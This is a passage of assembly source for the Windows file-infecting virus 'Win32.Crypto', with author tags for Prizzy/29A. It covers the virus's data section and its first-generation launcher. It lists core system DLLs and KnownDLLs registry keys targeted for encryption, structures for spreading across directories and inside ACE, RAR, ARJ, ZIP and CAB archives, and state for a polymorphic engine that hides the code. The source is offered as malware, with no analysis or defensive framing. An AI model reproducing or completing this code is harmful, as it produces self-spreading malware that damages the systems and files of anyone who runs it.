crypto_mainThread dd 00000000h ;main (crypto) thread handle
|
||
crypto_thread dd 00000000h ;thread parameter
|
||
CT_LOADKEY equ 1 ;get key handle
|
||
CT_CRYPTFILE equ 2 ;crypt_file function
|
||
CT_DECRYPTFILE equ 4 ;decrypt_file function
|
||
crypto_thread_err dd 00000000h ;set LastError flag
|
||
|
||
crypto_unFiles db 'SFC' ,00h,'MPR' ,00h,'OLE32' ,00h
|
||
db 'NTDLL' ,00h,'GDI32' ,00h,'RPCRT4' ,00h
|
||
db 'USER32' ,00h,'RSASIG' ,00h,'SHELL32' ,00h
|
||
db 'CRYPT32' ,00h,'RSABASE' ,00h,'PSTOREC' ,00h
|
||
db 'KERNEL32',00h,'ADVAPI32',00h,'RUNDLL32',00h
|
||
db 'SFCFILES',00h,01h
|
||
|
||
crypto_unReg32 db "System\CurrentControlSet\Control\SessionManager\KnownDLLs",0
|
||
crypto_unReg16 db "System\CurrentControlSet\Control\SessionManager\Known16DLLs",0
|
||
|
||
crypto_unReg equ this byte
|
||
dd offset crypto_unReg32
|
||
dd offset crypto_unReg16
|
||
crypto_unReg_E equ this byte
|
||
|
||
crypto_mainMutex db "Crypto:mainThread",0
|
||
crypto_mutex db "Crypto:Mutex",0
|
||
crypto_library dd 00000000h ;libraries information
|
||
crypto_nLib dd 00000000h ;number of items
|
||
|
||
crypto_Register db "SOFTWARE\Microsoft\Cryptography\UserKeys\Prizzy/29A",0
|
||
crypto_RegWhere db "EPbK",0
|
||
crypto_RegFlag db "Kiss Of Death",0
|
||
|
||
align dword ;filesize divided by eight
|
||
dd 00000000h ;only for multi-layer poly
|
||
|
||
;ÄÄÄ´ memory buffer which ain't in file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
file_end:
|
||
|
||
; working with filez
|
||
|
||
filename_ptr dd 00000000h ;pointer to a filename
|
||
filename_size equ 260 ;MAX_SIZE defined by M$
|
||
filename db filename_size dup (00h)
|
||
file_handle dd 00000000h ;open file handle
|
||
file_hmap dd 00000000h ;mapped file handle
|
||
file_hmem dd 00000000h ;mapped file in memory
|
||
file_hsize dd 00000000h ;file size + virus size
|
||
last_error dd 00000000h ;buffer for file operations
|
||
|
||
; hyper infection
|
||
|
||
search_filename db filename_size dup (00h)
|
||
search_start db 00h ;have we begun yet ?
|
||
search_address dd 00000000h ;address of dta's in memory
|
||
search_plunge db 00h ;how many dirz we have in
|
||
search_handle dd 00000000h ;FindFirstFile handle
|
||
search_table dd 00000000h ;position in HyperTable
|
||
dta dta_struc <00h> ;main dta struc for search_handle
|
||
time sysTime_struc <00h> ;time for my new hyper_infection
|
||
|
||
; file infected co-processor structs
|
||
|
||
exp_truncate dw 0000h ;copro status flags
|
||
exp_default dw 0000h ;copro status flags
|
||
exp_further dd 00000000h ;copro number's buffer
|
||
|
||
decimal_places dd 00000000h ;dec_place=modf(num,&int)
|
||
|
||
; new infection method (compressed, inside archive)
|
||
|
||
AProgram struc
|
||
program dd 00000000h ;where's place program
|
||
dropper dd 00000000h ;where's place dropper
|
||
ends
|
||
|
||
NewArchive equ this byte
|
||
NewArchiveNum equ 00000005h
|
||
NewArchiveSize equ size AProgram
|
||
|
||
NewACE AProgram <00h>
|
||
NewRAR AProgram <00h>
|
||
NewARJ AProgram <00h>
|
||
NewZIP AProgram <00h>
|
||
NewCAB AProgram <00h>
|
||
|
||
FileTime File_Time <00h> ;get/set archive infect flag
|
||
SystemTime sysTime_struc <00h> ;convert FileTime to SystemT
|
||
|
||
; CreateProcess structures
|
||
|
||
ProcessInformation Process_Information <00h> ;info about process
|
||
StartupInfo Startup_Info <00h> ;window's info
|
||
|
||
; Coprocessor buffer - natural logarithm
|
||
|
||
copro_nl_buffer db 128 dup (00h) ;all regz + all flagz
|
||
|
||
; data used by Prizzy Polymorphic Engine (PPE-II)
|
||
|
||
poly_seed dd 00000000h ;last number in get_rnd32 function
|
||
garbage_style db 00h ;have I use unmodify flags instructions ?
|
||
|
||
used_regs db 00h ;used eax,ecx,edx...
|
||
gl_index_reg db 00h ;which reg is index ?
|
||
gl_index_reg2 db 00h ;more complex - no comment :)
|
||
|
||
mem_address dd 00000000h ;where's copy of this virus
|
||
poly_start dd 00000000h ;where poly decoder start
|
||
poly_finish dd 00000000h ;where poly decoder finish
|
||
recursive_level db 00h ;garbage recursive layer
|
||
|
||
index_reg db 00h ;index_reg in base-reg
|
||
mlayer_reg db 00h ;mlayer_reg in base-reg
|
||
code_reg db 00h ;code_reg in base-reg
|
||
|
||
code_value dd 00000000h ;startup code value
|
||
code_value_add dd 00000000h ;next_code = code + this_c
|
||
crypt_style db 00h ;(0=add/1=sub/2=xor) [---],reg32
|
||
|
||
decoder_back dd 00000000h ;address for JNZ loop
|
||
compare_index db 00h ;where in <compare_buffer>
|
||
compare_buffer dd 5 dup(00000000h) ;see <g_compare> for more info
|
||
|
||
mem_end:
|
||
|
||
;ÄÄÄ´ first generation ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
first_generation:
|
||
|
||
; after installing, run it above
|
||
mov [__pllg_lsize],00000000h
|
||
mov dword ptr [original_ep], \
|
||
offset __fg_run_this - offset virus_start + 1000h
|
||
jmp virus_start
|
||
|
||
__fg_run_this:
|
||
; display a simple message box
|
||
push MB_OK
|
||
@pushsz "Win32.Crypto - welcome to my world..."
|
||
@pushsz "First generation sample"
|
||
push 0
|
||
call MessageBoxA
|
||
|
||
; exit program - haha huahaha <program> :))
|
||
push 0
|
||
call ExitProcess
|
||
|
||
;ÄÄÄ´ end of virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
end first_generation
|